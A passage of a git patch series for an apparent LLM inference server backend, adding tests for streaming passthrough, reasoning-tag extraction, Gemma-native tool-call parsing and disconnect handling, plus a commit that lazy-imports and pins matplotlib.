+                        '"choices":[{"index":0,"delta":{"content":"hello"}}]}'
+                    ),
+                    "data: [DONE]",
+                ],
+            )
+            body = result.body
+
+            assert '"finish_reason":"stop"' in body.replace(" ", "")
+            assert "data: [DONE]" in body
+            assert result.monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_synthesizes_tool_call_finish_reason(self, monkeypatch):
+        async def _run():
+            result = await self._run_passthrough_stream(
+                monkeypatch,
+                [
+                    (
+                        'data: {"id":"upstream","created":123,"model":"gguf",'
+                        '"choices":[{"index":0,"delta":{"tool_calls":[{"index":0,'
+                        '"id":"call_1","type":"function","function":{"name":"lookup",'
+                        '"arguments":"{}"}}]}}]}'
+                    ),
+                    "data: [DONE]",
+                ],
+            )
+            compact = result.body.replace(" ", "")
+
+            assert '"finish_reason":"tool_calls"' in compact
+            assert '"finish_reason":"stop"' not in compact
+            assert "data: [DONE]" in result.body
+            assert result.monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_error_done_skips_synthetic_finish_reason(self, monkeypatch):
+        async def _run():
+            result = await self._run_passthrough_stream(
+                monkeypatch,
+                [
+                    'data: {"error":{"message":"boom","type":"server_error"}}',
+                    "data: [DONE]",
+                ],
+            )
+            compact = result.body.replace(" ", "")
+
+            assert '"error":{"message":"boom","type":"server_error"}' in compact
+            assert '"finish_reason"' not in compact
+            assert "data: [DONE]" in result.body
+            [entry] = result.monitor.snapshot()
+            assert entry["status"] == "error"
+            assert entry["error"] == "boom"
+            assert result.monitor.active_count() == 0
+
+        asyncio.run(_run())
+
+    def test_passthrough_stream_error_eof_skips_synthetic_finish_reason(self, monkeypatch):
+        async def _run():
+            result = await self._run_passthrough_stream(
+                monkeypatch,
+                ['data: {"error":{"message":"boom","type":"server_error"}}'],
+            )
+            compact = result.body.replace(" ", "")
+
+            assert '"error":{"message":"boom","type":"server_error"}' in compact
+            assert '"finish_reason"' not in compact
+            assert "data: [DONE]" not in result.body
+            [entry] = result.monitor.snapshot()
+            assert entry["status"] == "error"
+            assert entry["error"] == "boom"
+            assert result.monitor.active_count() == 0
+
+        asyncio.run(_run())
+
     def test_passthrough_non_streaming_cancel_finalizes_monitor(self, monkeypatch):
         async def _run():
             import routes.inference as inf_mod
@@ -2058,65 +2416,20 @@ class TestApiMonitorProviderAndCompletionStreams:
 
     def test_passthrough_clean_eof_finalizes_monitor(self, monkeypatch):
         async def _run():
-            import routes.inference as inf_mod
-
-            class Request:
-                async def is_disconnected(self):
-                    return False
-
-            async def fake_send(*_args, **_kwargs):
-                return httpx.Response(200, content = b"")
-
-            async def fake_items(*_args, **_kwargs):
-                yield 'data: {"choices":[{"delta":{"content":"hello"}}]}'
-
-            monitor = ApiMonitor(max_entries = 3)
-            monkeypatch.setattr(inf_mod, "api_monitor", monitor)
-            monkeypatch.setattr(inf_mod, "_send_stream_with_preheader_cancel", fake_send)
-            monkeypatch.setattr(inf_mod, "_aiter_llama_stream_items", fake_items)
-            monitor_id = monitor.start(
-                endpoint = "/v1/chat/completions",
-                method = "POST",
-                model = "gguf",
-                prompt = "hi",
-            )
-            payload = ChatCompletionRequest(
-                model = "default",
-                messages = [ChatMessage(role = "user", content = "hi")],
-                stream = True,
-                tools = [
-                    {
-                        "type": "function",
-                        "function": {
-                            "name": "lookup",
-                            "parameters": {"type": "object", "properties": {}},
-                        },
-                    }
-                ],
+            result = await self._run_passthrough_stream(
+                monkeypatch,
+                ['data: {"choices":[{"delta":{"content":"hello"}}]}'],
             )
+            chunks = result.chunks
 
-            response = await _openai_passthrough_stream(
-                Request(),
-                threading.Event(),
-                SimpleNamespace(
-                    base_url = "http://llama.test",
-                    context_length = 4096,
-                    _request_reasoning_kwargs = lambda *_args, **_kwargs: None,
-                ),
-                payload,
-                "gguf",
-                "chatcmpl-test",
-                monitor_id = monitor_id,
-            )
-            chunks = []
-            async for chunk in response.body_iterator:
-                chunks.append(chunk)
-
-            assert chunks == ['data: {"choices":[{"delta":{"content":"hello"}}]}\n\n']
-            [entry] = monitor.snapshot()
+            assert chunks[0] == 'data: {"choices":[{"delta":{"content":"hello"}}]}\n\n'
+            compact = "".join(chunks).replace(" ", "")
+            assert '"finish_reason":"stop"' in compact
+            assert chunks[-1] == "data: [DONE]\n\n"
+            [entry] = result.monitor.snapshot()
             assert entry["status"] == "completed"
             assert entry["reply"] == "hello"
-            assert monitor.active_count() == 0
+            assert result.monitor.active_count() == 0
 
         asyncio.run(_run())
 
diff --git a/studio/backend/tests/test_responses_tool_passthrough.py b/studio/backend/tests/test_responses_tool_passthrough.py
index 0bea355668..4147746b54 100644
--- a/studio/backend/tests/test_responses_tool_passthrough.py
+++ b/studio/backend/tests/test_responses_tool_passthrough.py
@@ -59,8 +59,10 @@ from models.inference import (
     ResponsesUsage,
 )
 from routes.inference import (
+    _SameTaskStreamingResponse,
     _build_chat_request,
     _chat_tool_calls_to_responses_output,
+    _extract_responses_reasoning,
     _normalise_responses_input,
     _responses_tool_output_content,
     _responses_non_streaming,
@@ -782,6 +784,15 @@ class TestResponsesNonStreamingAdapter:
         assert "<think>" not in body["output"][1]["content"][0]["text"]
         assert "</think>" not in body["output"][1]["content"][0]["text"]
 
+    def test_unclosed_think_block_extracts_as_reasoning(self):
+        reasoning, visible = _extract_responses_reasoning(
+            "<think>partial plan",
+            parse_think_markers = True,
+        )
+
+        assert reasoning == "partial plan"
+        assert visible == ""
+
     def test_monitor_records_translated_visible_text(self, monkeypatch):
         import routes.inference as inf_mod
 
@@ -927,6 +938,38 @@ class TestResponsesNonStreamingAdapter:
         assert [item["type"] for item in body["output"]] == ["message"]
         assert body["output"][0]["content"][0]["text"] == "show <think>x</think> tags"
 
+    def test_reasoning_capable_gguf_parses_think_tags_by_default(self, monkeypatch):
+        body = self._run_with_message(
+            monkeypatch,
+            {"content": "<think>plan</think>answer"},
+            llama_backend = SimpleNamespace(
+                is_loaded = True,
+                reasoning_always_on = False,
+                supports_reasoning = True,
+            ),
+        )
+
+        assert [item["type"] for item in body["output"]] == ["reasoning", "message"]
+        assert body["output"][0]["content"] == [{"type": "reasoning_text", "text": "plan"}]
+        assert body["output"][1]["content"][0]["text"] == "answer"
+
+    def test_reasoning_capable_gguf_sanitizes_think_tags_when_disabled(self, monkeypatch):
+        payload = ResponsesRequest(input = "hi", reasoning = {"effort": "none"})
+        body = self._run_with_message(
+            monkeypatch,
+            {"content": "<think>leaked</think>answer"},
+            payload = payload,
+            llama_backend = SimpleNamespace(
+                is_loaded = True,
+                reasoning_always_on = False,
+                supports_reasoning = True,
+            ),
+        )
+
+        assert [item["type"] for item in body["output"]] == ["reasoning", "message"]
+        assert body["output"][0]["content"] == [{"type": "reasoning_text", "text": "leaked"}]
+        assert body["output"][1]["content"][0]["text"] == "answer"
+
     def test_structured_reasoning_content_extracts_text_parts(self, monkeypatch):
         body = self._run_with_message(
             monkeypatch,
@@ -949,7 +992,7 @@ class TestResponsesNonStreamingAdapter:
         assert [item["type"] for item in body["output"]] == ["message"]
         assert body["output"][0]["content"][0]["text"] == "33"
 
-    def test_reasoning_only_is_also_visible_message_text(self, monkeypatch):
+    def test_reasoning_only_stays_out_of_visible_message_text(self, monkeypatch):
         payload = ResponsesRequest(input = "hi", reasoning = {"effort": "high"})
         body = self._run_with_message(
             monkeypatch,
@@ -957,9 +1000,8 @@ class TestResponsesNonStreamingAdapter:
             payload = payload,
         )
 
-        assert [item["type"] for item in body["output"]] == ["reasoning", "message"]
+        assert [item["type"] for item in body["output"]] == ["reasoning"]
         assert body["output"][0]["content"][0]["text"] == "plan"
-        assert body["output"][1]["content"][0]["text"] == "plan"
 
 
 # =====================================================================
@@ -1033,6 +1075,36 @@ class TestResponsesStreamAdapter:
             ),
         )
 
+    def test_stream_response_avoids_legacy_receive_watcher(self, monkeypatch):
+        self._install_stream_mock(
+            monkeypatch,
+            [{"choices": [{"delta": {"content": "33"}}]}],
+        )
+        payload = ResponsesRequest(input = "hi", stream = True)
+        messages = [ChatMessage(role = "user", content = "hi")]
+
+        async def run():
+            response = await _responses_stream(payload, messages, self._Request())
+            assert isinstance(response, _SameTaskStreamingResponse)
+
+            sent = []
+
+            async def receive():
+                raise AssertionError("Responses streams poll disconnects in the generator")
+
+            async def send(message):
+                sent.append(message)
+
+            await response({"type": "http", "asgi": {"spec_version": "2.3"}}, receive, send)
+            return sent
+
+        sent = asyncio.run(run())
+
+        assert sent[0]["type"] == "http.response.start"
+        body = b"".join(message.get("body", b"") for message in sent).decode()
+        assert "response.output_text.delta" in body
+        assert '"delta":"33"' in body.replace(" ", "")
+
     def test_split_think_markers_stream_as_reasoning_and_visible_text(self, monkeypatch):
         chunks = [
             {"choices": [{"delta": {"content": "<thi"}}]},
@@ -1286,7 +1358,7 @@ class TestResponsesStreamAdapter:
         assert entry["status"] == "completed"
         assert entry["reply"] == "tail"
 
-    def test_reasoning_only_fallback_updates_monitor(self, monkeypatch):
+    def test_reasoning_only_stream_does_not_update_visible_monitor_reply(self, monkeypatch):
         import routes.inference as inf_mod
 
         class FakeExtractor:
@@ -1327,15 +1399,16 @@ class TestResponsesStreamAdapter:
 
         lines = asyncio.run(run())
 
-        assert self._payloads(lines, "response.output_text.delta")[-1]["delta"] == "plan"
+        assert self._payloads(lines, "response.output_text.delta") == []
+        assert self._payloads(lines, "response.reasoning_text.delta")[-1]["delta"] == "plan"
         [entry] = monitor.snapshot()
         assert entry["status"] == "completed"
-        assert entry["reply"] == "plan"
+        assert entry["reply"] == ""
 
-    def test_literal_think_tags_stream_as_visible_text_without_reasoning_request(self, monkeypatch):
+    def test_reasoning_capable_gguf_stream_parses_think_tags_by_default(self, monkeypatch):
         chunks = [
-            {"choices": [{"delta": {"content": "show <thi"}}]},
-            {"choices": [{"delta": {"content": "nk>x</think> tags"}}]},
+            {"choices": [{"delta": {"content": "<thi"}}]},
+            {"choices": [{"delta": {"content": "nk>plan</think>answer"}}]},
             {"choices": [], "usage": {"prompt_tokens": 2, "completion_tokens": 3}},
         ]
         self._install_stream_mock(monkeypatch, chunks)
@@ -1350,13 +1423,15 @@ class TestResponsesStreamAdapter:
 
         reasoning_deltas = self._payloads(lines, "response.reasoning_text.delta")
         text_deltas = self._payloads(lines, "response.output_text.delta")
-        assert reasoning_deltas == []
-        assert "".join(event["delta"] for event in text_deltas) == "show <think>x</think> tags"
+        assert "".join(event["delta"] for event in reasoning_deltas) == "plan"
+        assert "".join(event["delta"] for event in text_deltas) == "answer"
         completed = self._payloads(lines, "response.completed")[0]
-        assert [item["type"] for item in completed["response"]["output"]] == ["message"]
-        assert completed["response"]["output"][0]["content"][0]["text"] == (
-            "show <think>x</think> tags"
-        )
+        assert [item["type"] for item in completed["response"]["output"]] == [
+            "reasoning",
+            "message",
+        ]
+        assert completed["response"]["output"][0]["content"][0]["text"] == "plan"
+        assert completed["response"]["output"][1]["content"][0]["text"] == "answer"
 
     def test_non_reasoning_gguf_stream_keeps_literal_think_tags_visible(self, monkeypatch):
         chunks = [
@@ -1384,7 +1459,7 @@ class TestResponsesStreamAdapter:
             "show <think>x</think> tags"
         )
 
-    def test_reasoning_only_streams_as_visible_message_text(self, monkeypatch):
+    def test_reasoning_only_stream_stays_out_of_visible_message_text(self, monkeypatch):
         chunks = [
             {"choices": [{"delta": {"content": "<think>plan</think>"}}]},
             {"choices": [], "usage": {"prompt_tokens": 2, "completion_tokens": 3}},
@@ -1402,14 +1477,34 @@ class TestResponsesStreamAdapter:
         reasoning_deltas = self._payloads(lines, "response.reasoning_text.delta")
         text_deltas = self._payloads(lines, "response.output_text.delta")
         assert "".join(event["delta"] for event in reasoning_deltas) == "plan"
-        assert "".join(event["delta"] for event in text_deltas) == "plan"
+        assert text_deltas == []
         completed = self._payloads(lines, "response.completed")[0]
-        assert [item["type"] for item in completed["response"]["output"]] == [
-            "reasoning",
-            "message",
-        ]
+        assert [item["type"] for item in completed["response"]["output"]] == ["reasoning"]
+        assert completed["response"]["output"][0]["content"][0]["text"] == "plan"
+
+    def test_unclosed_think_stream_stays_out_of_visible_message_text(self, monkeypatch):
+        chunks = [
+            {"choices": [{"delta": {"content": "<thi"}}]},
+            {"choices": [{"delta": {"content": "nk>plan"}}]},
+            {"choices": [], "usage": {"prompt_tokens": 2, "completion_tokens": 3}},
+        ]
+        self._install_stream_mock(monkeypatch, chunks)
+        payload = ResponsesRequest(input = "hi", stream = True, reasoning = {"effort": "high"})
+        messages = [ChatMessage(role = "user", content = "hi")]
+
+        async def run():
+            response = await _responses_stream(payload, messages, self._Request())
+            return await self._collect(response)
+
+        lines = asyncio.run(run())
+
+        reasoning_deltas = self._payloads(lines, "response.reasoning_text.delta")
+        text_deltas = self._payloads(lines, "response.output_text.delta")
+        assert "".join(event["delta"] for event in reasoning_deltas) == "plan"
+        assert text_deltas == []
+        completed = self._payloads(lines, "response.completed")[0]
+        assert [item["type"] for item in completed["response"]["output"]] == ["reasoning"]
         assert completed["response"]["output"][0]["content"][0]["text"] == "plan"
-        assert completed["response"]["output"][1]["content"][0]["text"] == "plan"
 
     def test_structured_reasoning_content_streams_as_reasoning(self, monkeypatch):
         chunks = [
diff --git a/studio/backend/tests/test_safetensors_capability_advertise.py b/studio/backend/tests/test_safetensors_capability_advertise.py
index 13cb6bbd46..671af93708 100644
--- a/studio/backend/tests/test_safetensors_capability_advertise.py
+++ b/studio/backend/tests/test_safetensors_capability_advertise.py
@@ -203,6 +203,20 @@ def test_detect_safetensors_features_function_xml_format_keeps_tools_on():
     assert flags["supports_tools"] is True
 
 
+def test_detect_safetensors_features_gemma_native_tool_call_keeps_tools_on():
+    """Gemma 4 emits <|tool_call>call:name{...}<tool_call|>, which the shared
+    parser now reads, so the gate must not suppress tools for it."""
+    from routes.inference import _detect_safetensors_features
+
+    tpl_with_gemma_native = (
+        "{%- if tools -%}Tool call format: "
+        "<|tool_call>call:name{key:value}<tool_call|>{%- endif -%}"
+    )
+    backend = SimpleNamespace(active_model_name = "unsloth/gemma-4-12b-it")
+    flags = _detect_safetensors_features(backend, tpl_with_gemma_native)
+    assert flags["supports_tools"] is True
+
+
 # Qwen3.5 family pin: the live GGUF + safetensors templates both wrap tool
 # calls as ``<tool_call>\n<function=name>...``. Faithful slice so the
 # classifier never silently regresses for this family.
diff --git a/studio/backend/tests/test_safetensors_tool_loop.py b/studio/backend/tests/test_safetensors_tool_loop.py
index d61c0b389c..3f2d49f0dd 100644
--- a/studio/backend/tests/test_safetensors_tool_loop.py
+++ b/studio/backend/tests/test_safetensors_tool_loop.py
@@ -10,6 +10,7 @@ calls, tool-result feedback, bad-JSON heal, duplicate-call short-circuit,
 ``__IMAGES__`` sentinel stripping, executor errors, cancel, and the iteration cap.
 """
 
+import json
 import threading
 from typing import cast
 
@@ -62,6 +63,51 @@ class TestParser:
         assert parse_tool_calls_from_text(text)[0]["function"]["name"] == "python"
         assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
 
+    def test_gemma_native_tool_call(self):
+        text = '<|tool_call>call:terminal{command:"ls -la",workdir:"."}<tool_call|>'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "terminal"
+        args = json.loads(result[0]["function"]["arguments"])
+        assert args == {"command": "ls -la", "workdir": "."}
+
+    def test_gemma_native_tool_call_template_quotes(self):
+        text = '<|tool_call>call:web_search{query:<|"|>openai news<|"|>}<tool_call|>'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "web_search"
+        assert json.loads(result[0]["function"]["arguments"]) == {"query": "openai news"}
+
+    def test_gemma_native_tool_call_template_quotes_escape_backslashes(self):
+        text = r'<|tool_call>call:ls{path:<|"|>C:\Users\wasim\repo<|"|>}<tool_call|>'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "ls"
+        assert json.loads(result[0]["function"]["arguments"]) == {"path": r"C:\Users\wasim\repo"}
+
+    def test_gemma_native_tool_call_hyphenated_argument_name(self):
+        text = '<|tool_call>call:mcp__srv__create-issue{issue-title:"Bug report"}<tool_call|>'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "mcp__srv__create-issue"
+        assert json.loads(result[0]["function"]["arguments"]) == {"issue-title": "Bug report"}
+
+    def test_gemma_native_tool_call_keeps_braces_inside_string_value(self):
+        text = '<|tool_call>call:terminal{command:"echo {foo:bar}"}<tool_call|>'
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert result[0]["function"]["name"] == "terminal"
+        assert json.loads(result[0]["function"]["arguments"]) == {"command": "echo {foo:bar}"}
+
+    def test_gemma_native_tool_call_bare_string_values(self):
+        text = "<|tool_call>call:get_weather{location:Tokyo,unit:celsius}<tool_call|>"
+        result = parse_tool_calls_from_text(text)
+        assert len(result) == 1
+        assert json.loads(result[0]["function"]["arguments"]) == {
+            "location": "Tokyo",
+            "unit": "celsius",
+        }
+
     def test_xml_function_call(self):
         text = "<function=python><parameter=code>print('hi')</parameter></function>"
         result = parse_tool_calls_from_text(text)
@@ -121,6 +167,7 @@ class TestParser:
 
     def test_has_tool_signal(self):
         assert has_tool_signal("blah <tool_call> x")
+        assert has_tool_signal("blah <|tool_call>call:terminal")
         assert has_tool_signal("hi <function=foo>...")
         assert not has_tool_signal("hello world")
 
@@ -139,6 +186,8 @@ class TestParser:
     def test_strip_markup_closed(self):
         text = "before <tool_call>{}</tool_call> after"
         assert strip_tool_markup(text) == "before  after"
+        text = 'before <|tool_call>call:terminal{command:"ls"}<tool_call|> after'
+        assert strip_tool_markup(text) == "before  after"
 
     def test_strip_markup_unclosed_final(self):
         text = "before <tool_call>{partial"
@@ -146,6 +195,7 @@ class TestParser:
         assert strip_tool_markup(text, final = True) == "before"
         # Without final=True the unclosed run is preserved.
         assert "partial" in strip_tool_markup(text)
+        assert strip_tool_markup("before <|tool_call>call:terminal{", final = True) == "before"
 
     def test_streaming_strip_respects_disabled_healing(self):
         raw = 'before <tool_call>{"name":"web_search"'
diff --git a/studio/backend/tests/test_tool_call_parser_strict.py b/studio/backend/tests/test_tool_call_parser_strict.py
index 8ff41342d7..931d8a705d 100644
--- a/studio/backend/tests/test_tool_call_parser_strict.py
+++ b/studio/backend/tests/test_tool_call_parser_strict.py
@@ -106,6 +106,54 @@ class TestParityWithJsonStyle:
         assert json.loads(js[0]["function"]["arguments"]) == {"query": q}
 
 
+class TestGemmaNativeStyle:
+    def test_closed_native_call_with_trailing_prose_is_accepted(self):
+        text = (
+            '<|tool_call>call:terminal{command:"ls -la",workdir:"."}<tool_call|>' " running it now"
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "terminal"
+        assert json.loads(calls[0]["function"]["arguments"]) == {
+            "command": "ls -la",
+            "workdir": ".",
+        }
+
+    def test_unclosed_native_call_requires_healing(self):
+        text = '<|tool_call>call:terminal{command:"ls"}'
+        assert parse_tool_calls_from_text(text, allow_incomplete = False) == []
+        calls = parse_tool_calls_from_text(text, allow_incomplete = True)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "terminal"
+
+    def test_hyphenated_native_argument_name_is_accepted(self):
+        text = '<|tool_call>call:mcp__srv__create-issue{issue-title:"Bug report"}<tool_call|>'
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        assert calls[0]["function"]["name"] == "mcp__srv__create-issue"
+        assert json.loads(calls[0]["function"]["arguments"]) == {"issue-title": "Bug report"}
+
+    def test_native_template_quotes_preserve_windows_path(self):
+        text = r'<|tool_call>call:ls{path:<|"|>C:\Users\wasim\repo<|"|>}<tool_call|>'
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        assert json.loads(calls[0]["function"]["arguments"]) == {"path": r"C:\Users\wasim\repo"}
+
+    def test_bare_unquoted_string_values_are_accepted(self):
+        # Gemma can emit enum/string args unquoted; bare JSON scalars stay typed.
+        text = (
+            "<|tool_call>call:get_weather{location:Tokyo,unit:celsius,days:3,live:true}<tool_call|>"
+        )
+        calls = parse_tool_calls_from_text(text, allow_incomplete = False)
+        assert len(calls) == 1
+        assert json.loads(calls[0]["function"]["arguments"]) == {
+            "location": "Tokyo",
+            "unit": "celsius",
+            "days": 3,
+            "live": True,
+        }
+
+
 class TestHealingPathUnaffected:
     def test_auto_heal_still_repairs_unclosed_function(self):
         text = "<function=web_search><parameter=query>cats"
diff --git a/studio/backend/tests/test_tool_xml_strip.py b/studio/backend/tests/test_tool_xml_strip.py
index 2ba3310fbe..c2dc1fe8db 100644
--- a/studio/backend/tests/test_tool_xml_strip.py
+++ b/studio/backend/tests/test_tool_xml_strip.py
@@ -125,6 +125,14 @@ def test_strips_orphan_closing_tag():
     # Mid-string </parameter> intentionally preserved (see preserve test).
 
 
+def test_strips_gemma_native_orphan_closing_tag():
+    cleaned = _TOOL_XML_RE.sub("", "Tool call drained.<tool_call|>Visible tail.")
+
+    assert "<tool_call|>" not in cleaned
+    assert "Tool call drained." in cleaned
+    assert "Visible tail." in cleaned
+
+
 # ── Tail-only </parameter> (PR #5735 follow-up) ───────────────────
 
 
diff --git a/tests/studio/test_stream_cancel_registration_timing.py b/tests/studio/test_stream_cancel_registration_timing.py
index 2e6b5f14da..33deb7af9d 100644
--- a/tests/studio/test_stream_cancel_registration_timing.py
+++ b/tests/studio/test_stream_cancel_registration_timing.py
@@ -146,24 +146,50 @@ def test_async_generators_cleanup_tracker_in_finally():
     )
 
 
-def test_streaming_responses_have_no_background_task():
-    top = None
-    for n in ast.walk(_TREE):
-        if isinstance(n, ast.AsyncFunctionDef) and n.name == "openai_chat_completions":
-            top = n
-            break
-    assert top is not None
+def test_chat_completions_streams_avoid_starlette_task_group():
+    top = _async_function("openai_chat_completions")
+    legacy_calls = []
+    same_task_calls = 0
     for sub in ast.walk(top):
         if not (isinstance(sub, ast.Call) and isinstance(sub.func, ast.Name)):
             continue
-        if sub.func.id != "StreamingResponse":
+        if sub.func.id == "StreamingResponse":
+            legacy_calls.append(sub.lineno)
+        if sub.func.id == "_SameTaskStreamingResponse":
+            same_task_calls += 1
+    assert not legacy_calls, (
+        "Streaming /v1/chat/completions must use _SameTaskStreamingResponse, "
+        "not Starlette's legacy task-group StreamingResponse. Lines: "
+        f"{legacy_calls}"
+    )
+    assert same_task_calls >= 5
+
+
+def test_openai_passthrough_stream_avoids_starlette_task_group():
+    top = _async_function("_openai_passthrough_stream")
+    legacy_calls = []
+    same_task_calls = 0
+    for sub in ast.walk(top):
+        if not (isinstance(sub, ast.Call) and isinstance(sub.func, ast.Name)):
             continue
-        kwargs = {kw.arg for kw in sub.keywords if kw.arg}
-        assert "background" not in kwargs, (
-            "StreamingResponse in openai_chat_completions must not pass "
-            "`background=` -- cleanup now lives in the generator's finally "
-            "block; a BackgroundTask would be skipped on abrupt disconnect"
-        )
+        if sub.func.id == "StreamingResponse":
+            legacy_calls.append(sub.lineno)
+        if sub.func.id == "_SameTaskStreamingResponse":
+            same_task_calls += 1
+    assert not legacy_calls, (
+        "OpenAI passthrough streams must use _SameTaskStreamingResponse, "
+        "not Starlette's legacy task-group StreamingResponse. Lines: "
+        f"{legacy_calls}"
+    )
+    assert same_task_calls >= 2
+
+
+def test_local_chat_streams_install_same_task_disconnect_watcher():
+    top = _async_function("openai_chat_completions")
+    assert _calls_name(top, "_await_disconnect_then_cancel"), (
+        "Local same-task streams must watch request disconnects themselves; "
+        "do not restore Starlette's task-group StreamingResponse for this."
+    )
 
 
 def test_direct_llama_server_streams_install_disconnect_watcher():
@@ -185,6 +211,33 @@ def test_direct_llama_server_streams_install_disconnect_watcher():
     )
 
 
+def test_audio_input_stream_installs_disconnect_watcher():
+    audio = _async_function("audio_input_stream")
+    has_watcher = False
+    has_cleanup = False
+    for sub in ast.walk(audio):
+        if isinstance(sub, ast.Call):
+            fn = sub.func
+            if (
+                isinstance(fn, ast.Attribute)
+                and fn.attr == "create_task"
+                and isinstance(fn.value, ast.Name)
+                and fn.value.id == "asyncio"
+                and sub.args
+                and isinstance(sub.args[0], ast.Call)
+                and isinstance(sub.args[0].func, ast.Name)
+                and sub.args[0].func.id == "_await_disconnect_then_cancel"
+            ):
+                has_watcher = True
+            if isinstance(fn, ast.Name) and fn.id == "_stop_local_disconnect_cancel_watcher":
+                has_cleanup = True
+    assert has_watcher, (
+        "audio_input_stream must install a disconnect watcher so client "
+        "disconnects set cancel_event while asyncio.to_thread(next, ...) is blocked"
+    )
+    assert has_cleanup, "audio_input_stream must stop its disconnect watcher in finally"
+
+
 # ── Behavioral helpers ───────────────────────────────────────
 
 _WANTED = {
@@ -222,6 +275,21 @@ def _load_registry_module():
     return mod
 
 
+def _load_same_task_response_module():
+    for n in _TREE.body:
+        if isinstance(n, ast.ClassDef) and n.name == "_SameTaskStreamingResponse":
+            source = ast.get_source_segment(SRC, n)
+            break
+    else:
+        raise AssertionError("_SameTaskStreamingResponse missing")
+    mod = {}
+    exec(
+        "class StreamingResponse: pass\nclass ClientDisconnect(Exception): pass\n" + source,
+        mod,
+    )
+    return mod
+
+
 def _make_stream(tracker, raise_exc):
     async def gen():
         try:
@@ -326,6 +394,39 @@ def test_finally_cleanup_on_aclose():
     assert "sid-abort" not in m["_CANCEL_REGISTRY"]
 
 
+def test_same_task_response_closes_body_iterator_on_send_disconnect():
+    m = _load_same_task_response_module()
+    closed = False
+
+    async def body():
+        nonlocal closed
+        try:
+            yield "data: first\n\n"
+        finally:
+            closed = True
+
+    async def run():
+        agen = body()
+        await agen.__anext__()
+        response = m["_SameTaskStreamingResponse"].__new__(m["_SameTaskStreamingResponse"])
+        response.body_iterator = agen
+        response.background = None
+
+        async def stream_response(_send):
+            raise OSError("client disconnected")
+
+        response.stream_response = stream_response
+        try:
+            await response({}, None, lambda _message: None)
+        except m["ClientDisconnect"]:
+            pass
+        else:
+            raise AssertionError("expected ClientDisconnect")
+
+    asyncio.run(run())
+    assert closed
+
+
 def test_preset_cancel_event_exits_cleanly_with_done():
     # Pending-replay: a stashed cancel pre-set cancel_event. The loop must break
     # cleanly with final_chunk + [DONE], not propagate GeneratorExit from the GGUF wrapper.

From 69d8a57ee9d255075beb6bfc0183c65b6f5ebd27 Mon Sep 17 00:00:00 2001
From: Leo Borcherding <borchborchmail@gmail.com>
Date: Tue, 23 Jun 2026 08:22:20 -0500
Subject: [PATCH 072/306] Studio: lazy-import matplotlib so the server starts
 when the wheel is blocked (#6596)

* Studio: lazy-import matplotlib so the server starts when the wheel is blocked

matplotlib.pyplot was imported at the top of core/training/training.py, on the
server boot path. When matplotlib's native extension fails to load (e.g. an
unsigned wheel blocked by Windows Smart App Control), that import crashed the
whole Studio server at startup instead of just disabling loss plots.

Move it into a lazy _load_pyplot() helper called from _create_loss_plot, using
the headless Agg backend, and return None when matplotlib is unavailable so
plotting degrades gracefully. The plot return was already Optional, so callers
need no changes. Keep the type-only import under TYPE_CHECKING and quote the
annotations.

Fixes #6588

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Studio: pin matplotlib==3.11.0

Pin matplotlib to the current latest so a new unsigned release does not
reintroduce the Smart App Control block on Windows. Belt-and-suspenders on
top of the lazy import. Pinned in both studio.txt and extras.txt.

* Pin matplotlib to 3.10.9 so Studio still installs on Python 3.10

matplotlib 3.11.0 requires Python >=3.11, so the pin had no installable wheel on
Python 3.10 (still supported) and pip install failed there. 3.10.9 is the latest
3.10.x (requires-python >=3.10) and covers Python 3.10 through 3.13. Also tighten
the lazy-import docstrings.

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
Co-authored-by: danielhanchen <danielhanchen@gmail.com>
---
 studio/backend/core/training/training.py | 41 +++++++++++++++++++++---
 studio/backend/requirements/extras.txt   |  2 +-
 studio/backend/requirements/studio.txt   |  2 +-
 3 files changed, 38 insertions(+), 7 deletions(-)

diff --git a/studio/backend/core/training/training.py b/studio/backend/core/training/training.py
index 34bb4331a7..290b4090ec 100644
--- a/studio/backend/core/training/training.py
+++ b/studio/backend/core/training/training.py
@@ -24,9 +24,10 @@ from datetime import datetime, timezone
 from loggers import get_logger
 from dataclasses import dataclass, field
 from pathlib import Path
-from typing import Optional, Tuple, Any
+from typing import Optional, Tuple, Any, TYPE_CHECKING
 
-import matplotlib.pyplot as plt
+if TYPE_CHECKING:
+    import matplotlib.pyplot as plt
 from utils.hardware import prepare_gpu_selection
 from utils.native_path_leases import (
     native_path_secret_removed_for_child_start,
@@ -36,6 +37,30 @@ from utils.paths import outputs_root
 
 logger = get_logger(__name__)
 
+_pyplot = None
+_pyplot_failed = False
+
+
+def _load_pyplot():
+    """Lazily import matplotlib.pyplot (headless Agg); return it, or None if
+    matplotlib is unavailable. Deferred so a blocked native wheel (e.g. Windows
+    Smart App Control) never breaks server startup, only loss plotting.
+    """
+    global _pyplot, _pyplot_failed
+    if _pyplot is not None or _pyplot_failed:
+        return _pyplot
+    try:
+        import matplotlib
+
+        matplotlib.use("Agg")  # headless backend
+        import matplotlib.pyplot as plt
+
+        _pyplot = plt
+    except Exception as e:
+        _pyplot_failed = True
+        logger.warning("matplotlib unavailable; loss plots disabled", error = str(e))
+    return _pyplot
+
 
 def _coerce_seed(value, default = 3407) -> int:
     """Normalize None / non-int to `default` (transformers.set_seed(None) raises)."""
@@ -655,7 +680,7 @@ class TrainingBackend:
         plot = self._create_loss_plot(progress, theme)
         return (plot, progress)
 
-    def refresh_plot_for_theme(self, theme: str) -> Optional[plt.Figure]:
+    def refresh_plot_for_theme(self, theme: str) -> "Optional[plt.Figure]":
         """Refresh plot with new theme."""
